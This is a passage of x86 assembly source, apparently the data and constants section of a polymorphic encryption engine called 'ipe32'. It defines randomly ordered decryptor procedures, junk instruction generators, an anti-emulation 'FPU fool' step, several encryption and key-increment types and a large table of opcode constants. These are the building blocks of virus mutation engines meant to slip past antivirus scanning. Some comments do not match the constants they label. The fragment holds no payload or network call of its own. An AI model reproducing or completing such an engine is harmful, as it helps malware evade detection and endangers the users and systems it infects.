dd offset iProcIncPtr - idelta ; increment pointer
dd offset iProcDecCnt - idelta ; decrement counter
dd offset iProcFPUFool - idelta ; neat stuff :O
; junk instruction generator addresses (relative to idelta)
JunkGen dd offset iMemJunk - idelta
dd offset iRegJunk - idelta
JUNKGEN_CNT equ 02h
; decryptor procedures are called in this order:
CallOrder1 db LOAD_POINTER ; ¿
db LOAD_COUNTER ; Ã these procedures can
db LOAD_KEY ; Ù be mixed.
CALL_ORDER_1 equ $ - CallOrder1
db DECRYPT_DATA ; stays at its place
CALL_ORDER_2 equ $ - CallOrder1
CallOrder2 db INC_KEY ; ¿
db INC_POINTER ; Ã these procedures can
db DEC_COUNTER ; ³ be mixed.
db FPU_FOOL ; ³
db JUNK_PROCS dup (JUNK_PROC) ; Ù
; procedure order (1 byte for each procedures that will be mixed randomly)
ProcedureOrder db LOAD_POINTER
db LOAD_COUNTER
db LOAD_KEY
db DECRYPT_DATA
db INC_KEY
db INC_POINTER
db DEC_COUNTER
db FPU_FOOL
db JUNK_PROCS dup (JUNK_PROC)
PROC_ORDER equ $ - ProcedureOrder
; registerz
Registers equ $
preg db REG_ECX ; pointer register
creg db REG_EDX ; counter register
kreg db REG_EAX ; key register
junkreg1 db REG_EBX ; junk register 1
junkreg2 db REG_ESI ; junk register 2
junkreg3 db REG_EDI ; junk register 3
USED_REGS equ $ - Registers
RandomConst dd RANDOM_SEED ; random seed constant (unchanged
; during runtime)
idelta equ $ ; delta offset (held in ebp)
; uninitialized data
RandomSeed dd ? ; random seed (changed)
InitValues equ $ ; some values we have to initialize
JunkSpSize dd ? ; size of junk space
JunkSpRVA dd ? ; address of junk space
DecryptRVA dd ? ; address of encrypted code
CryptSize dd ? ; size of crypted code
EncryptRVA dd ? ; address of code to encrypt
CryptKey dd ? ; encryption key
KeyIncrement dd ? ; key incrementation
CryptType db ? ; encryption type (byte)
KeyIncType db ? ; key increment type (byte)
ProcParameters db MAX_PROCS + 1 dup (?)
ProcAddress dd MAX_PROCS + 1 dup (?)
JunkProcs db ? ; number of junk procedures
ProcCount db ? ; number of procedures
CurrentProc db ? ; identifies current procedure when
; in the generator loop.
InLoop db ? ; boolean, if true we are
; generating decryptor loop
nojunk db ?
; procedure number constantz
LOAD_POINTER equ 00h
LOAD_COUNTER equ 01h
LOAD_KEY equ 02h
DECRYPT_DATA equ 03h
INC_KEY equ 04h ; increment key
INC_POINTER equ 05h ; increment pointer by 4
DEC_COUNTER equ 06h ; decrement counter by 1
FPU_FOOL equ 07h ; some anti emulatin' stuff
JUNK_PROC equ 08h
MAX_PROCS equ JUNK_PROC + JUNK_PROCS + 1
MIN_PROCS equ JUNK_PROC + 1
JUNK_PROCS equ 04h ; maximal junk procedure count - 1
MAX_PARAMS equ 04h ; maximal number of parameters
; encryption type constantz
ENC_XOR equ 00000000b ; xor encryption
ENC_ADD equ 00000001b ; add encryption
ENC_SUB equ 00000010b ; sub encryption
ENC_ROL equ 00000011b ; rol encryption
ENC_ROR equ 00000100b ; ror encryption
ENC_RND equ 5
; key increment type constantz
KEY_INC equ 00000000b ; rol key with random value
KEY_DEC equ 00000001b ; ror key with random value
KEY_ROL equ 00000010b ; inc key with random value
KEY_ROR equ 00000011b ; dec key with random value
KEY_RND equ 4
; i386 instruction set constants
; correct order of register on stack after a pushad. offset relative
; to ESP
PUSHAD_EAX equ (REG_EDI - REG_EAX) * 4 ; location of EAX
PUSHAD_ECX equ (REG_EDI - REG_ECX) * 4 ; location of ECX
PUSHAD_EDX equ (REG_EDI - REG_EDX) * 4 ; location of EDX
PUSHAD_EBX equ (REG_EDI - REG_EBX) * 4 ; location of EBX
PUSHAD_ESP equ (REG_EDI - REG_ESP) * 4 ; location of ESP
PUSHAD_EBP equ (REG_EDI - REG_EBP) * 4 ; location of EBP
PUSHAD_ESI equ (REG_EDI - REG_ESI) * 4 ; location of ESI
PUSHAD_EDI equ (REG_EDI - REG_EDI) * 4 ; location of EDI
PUSHAD_SIZE equ 8 * 04h ; size of pushad record
; dword registerz
REG_EAX equ 00000000b
REG_ECX equ 00000001b
REG_EDX equ 00000010b
REG_EBX equ 00000011b
REG_ESP equ 00000100b
REG_EBP equ 00000101b
REG_ESI equ 00000110b
REG_EDI equ 00000111b
; word registerz
REG_AX equ 00000000b
REG_CX equ 00000001b
REG_DX equ 00000010b
REG_BX equ 00000011b
REG_SP equ 00000100b
REG_BP equ 00000101b
REG_SI equ 00000110b
REG_DI equ 00000111b
; byte registerz
REG_AL equ 00000000b
REG_CL equ 00000001b
REG_DL equ 00000010b
REG_BL equ 00000011b
REG_AH equ 00000100b
REG_CH equ 00000101b
REG_DH equ 00000110b
REG_BH equ 00000111b
; fpu registerz
REG_ST0 equ 00000000b
REG_ST1 equ 00000001b
REG_ST2 equ 00000010b
REG_ST3 equ 00000011b
REG_ST4 equ 00000100b
REG_ST5 equ 00000101b
REG_ST6 equ 00000110b
REG_ST7 equ 00000111b
REG_RND equ REG_EDI + 1
; jump opcode constantz
JMP_SHORT equ 0EBh
JMP_LONG equ 0E9h
JMPC_SHORT equ 070h
JMPC_LONG equ 080h ; 2 byte opcode!
; conditions
COND_C equ 002h ; carry
COND_NC equ 003h ; no carry
COND_E equ 004h ; equal A = B
COND_NE equ 005h ; not equal A != B
COND_Z equ 004h ; zero A = B
COND_NZ equ 005h ; not zero A != B
COND_S equ 008h ; sign msb = 1
COND_NS equ 009h ; no sign msb = 0
COND_P equ 00Ah ; parity even lsb = 0
COND_NP equ 00Bh ; parity odd lsb = 1
COND_O equ 000h ; overflow msb was toggled
COND_NO equ 001h ; no overflow msb wasn't toggled
COND_B equ COND_C ; below A > B
COND_NAE equ COND_B ; neither above or equal A > B
COND_NB equ COND_NC ; not below A ó B
COND_AE equ COND_NB ; above or equal A ó B
COND_BE equ 006h ; below or equal A ò B
COND_NA equ COND_BE ; not above A ò B
COND_NBE equ 007h ; neither below or equal A < B
COND_A equ COND_NBE ; above A < B
COND_L equ 00Ch ; less A > B
COND_NGE equ COND_L ; neither greater or equal A > B
COND_NL equ 00Dh ; not less A ó B
COND_GE equ COND_NL ; greater or equal A ó B
COND_LE equ 00Eh ; less or equal A ò B
COND_NG equ COND_LE ; not greater A ò B
COND_NLE equ 00Fh ; neither less or equal A < B
COND_G equ COND_NLE ; greater A < B
; call opcode constantz
CALL_DIRECT equ 0E8h
; procedure commands
PROC_ENTER equ 0C8h
PROC_LEAVE equ 0C9h
PROC_RETP equ 0C2h
PROC_RET equ 0C3h
MOV_EBP_ESP equ 0EC8Bh
; stack opcodes
PUSH_REG equ 050h ; xor REG_???
POP_REG equ 058h
PUSH_IMM equ 068h
PUSH_IMM_SX equ 06Ah
POP_MEM equ 08Fh
; increment/decrement opcodes
INC_REG equ 040h
DEC_REG equ 048h
INCDEC_GROUP equ 0FEh
; mov opcodes
MOV_REG_RM equ 0
MOV_REG_IMM equ 0B0h ; mov register, immediate
MOV_REG_IMM8 equ 0B0h
MOV_REG_IMM32 equ 0B8h
MOV_MEM_IMM equ 0C6h ; mov memory, immediate
; extended mov opcodes
MOVX equ 0B6h
MOVX_BYTE equ 000h
MOVX_WORD equ 001h
MOVX_ZX equ 000h
MOVX_SX equ 008h
; load effective address
LOAD_EA equ 08Dh
; Flag set/clear commands
CLR_CRY equ 0F8h
SET_CRY equ 0F9h
CLR_INT equ 0FAh
SET_INT equ 0FBh
CLR_DIR equ 0FCh
SET_DIR equ 0FDh
; Common opcode constants
; prefixes
ESC_2BYTE equ 0Fh
OPERAND_SIZE equ 66h
ADDRESS_SIZE equ 67h
; segment override prefix
OVERRIDE_FS equ 64h
OVERRIDE_GS equ 65h
; operand size
OPSIZE_8 equ 00h
OPSIZE_32 equ 01h
OPSIZE_16 equ 02h
; direction
MEM_REG equ 00h
REG_MEM equ 01h
; some opcodes support direct EAX/AX/AL access
USE_EAX equ 04h
XCHG_EAX_REG equ 090h ; add register number to get opcode (not eax)
OP_NOP equ 090h ; very obsolete :x<
TEST_EAX_IMM equ 0A8h
; Shift operation constants
OP_SHIFT equ 0C0h
SHIFT_IMM equ 000h ; shift immediate
SHIFT_1 equ 001h ; shift 1 time
SHIFT_CL equ 002h ; shift cl times
SHIFT_RND equ 003h ; for choosing random shift.
ROL_SHIFT equ 000h
ROR_SHIFT equ 001h
RCL_SHIFT equ 002h
RCR_SHIFT equ 003h
SHL_SHIFT equ 004h
SHR_SHIFT equ 005h
SAR_SHIFT equ 006h
RND_SHIFT equ 007h
OP_GROUP1 equ 080h ; opcode for immediate group 1
OP_GROUP3 equ 0F6h ; opcode for shift group 3
; jmp, call, push, inc, dec group
OP_GROUP5 equ 0FFh ; opcode for jmpcallpushincdec group 5
P_INC equ 000h
P_DEC equ 001h
P_CALL_NEAR equ 002h ; call dword ptr
P_CALL_FAR equ 003h ; call 48-bit ptr
P_JMP_NEAR equ 004h ; jmp dword ptr
P_JMP_FAR equ 005h ; jmp 48-bit ptr
P_PUSH equ 006h
; Math operation constants
OPTYPE_ADD equ 00h
OPTYPE_OR equ 01h
OPTYPE_ADC equ 02h
OPTYPE_SBB equ 03h
OPTYPE_AND equ 04h
OPTYPE_SUB equ 05h
OPTYPE_XOR equ 06h
OPTYPE_CMP equ 07h
OPTYPE_MOV equ 008h
OPTYPE_TEST equ 009h
OPTYPE_XCHG equ 00Ah
; Math opcode constants
MATH_ADD equ OPTYPE_ADD shl 03h
MATH_OR equ OPTYPE_OR shl 03h
MATH_ADC equ OPTYPE_ADC shl 03h
MATH_SBB equ OPTYPE_SBB shl 03h
MATH_AND equ OPTYPE_AND shl 03h
MATH_SUB equ OPTYPE_SUB shl 03h
MATH_XOR equ OPTYPE_XOR shl 03h
MATH_CMP equ OPTYPE_CMP shl 03h
; Immediate opcode constants
IMM_OP equ 80h
IMM_SX equ 03h ; sign extended immediate
; MOD/RM constants
; MOD bits
MOD_NODISP equ 000h ; no displacement
MOD_DISP8 equ 040h ; 8-bit displacement
MOD_DISP32 equ 080h ; 32-bit displacement
MOD_REG equ 0C0h ; register
_MOD equ 011000000b ; mask for MOD-field
MOD_DIRECT equ 00001000b ; use immediate address
MOD_SIB equ 00010000b ; use sib byte
; REG bits
_REG equ 000111000b ; mask for REG-field
; RM bits
RM_DIRECT equ REG_EBP xor MOD_NODISP
RM_SIB equ REG_ESP
_RM equ 000000111b ; mask for RM field
; FPU opcodes
FPU_OPCODE equ 0D8h
FPU_DWORD_OP equ 0D8h ; dword ops/fpu reg ops
FPU_DWORD_LDST equ 0D9h ; group 1 - 4, FLD, FST, ...
FPU_INT_OP equ 0DAh ; dword operations
FPU_INT_LDST equ 0DBh ; group 5, FILD, FIST
FPU_QWORD_OP equ 0DCh ; qword ops/fpu reg ops
FPU_QWORD_LDST equ 0DDh ; qword FILD, FIST
FPU_WORD_OP equ 0DEh ; word ops (only mem), and reversed arithmetix
FPU_WORD_LDST equ 0DFh ; word FILD, FIST
; FPU opcode + MOD/RM (bl = FPU_FMUL, FDIV...)
;
; they'll fit to the following opcodez:
; FPU_DWORD_OP, FPU_QWORD_OP & FPU_WORD_OP
; IMPORTANT: note that the word operations won't work with fpu registers!
FPU_ADD equ 000b ; MOD/RM bit 3,4,5 = 001
FPU_MUL equ 001b
FPU_CMP equ 010b
FPU_COMP equ 011b
FPU_SUB equ 100b
FPU_SUBR equ 101b
FPU_DIV equ 110b
FPU_DIVR equ 111b
; FPU_WORD_OP group contains some opcodes with reversed register order.
; this means first comes st(?) and then the first register.
FPU_ADDP equ 000b ; MOD/RM bit 3,4,5 = 001
FPU_MULP equ 001b
FPU_COMPP equ 011b
FPU_SUBRP equ 100b
FPU_SUBP equ 101b
FPU_DIVRP equ 110b
FPU_DIVP equ 111b
FPU_DIR1 equ 000h ; direction st, st(?)
FPU_DIR2 equ 004h ; direction st(?), st
; FPU stand alone instructions
FPU_INIT equ 0E3DBh
FPU_SQRT equ 0FAD9h
FPU_LD1 equ 0E8D9h
FPU_LDL2T equ 0E9D9h
FPU_LDL2E equ 0EAD9h
FPU_LDPI equ 0EBD9h
FPU_LDLG2 equ 0ECD9h
FPU_LDLN2 equ 0EDD9h
FPU_LDZ equ 0EED9h
FPU_WAIT equ 09Bh
FPU_STORE equ 02h
FPU_LOAD equ 00h
; end of ipe32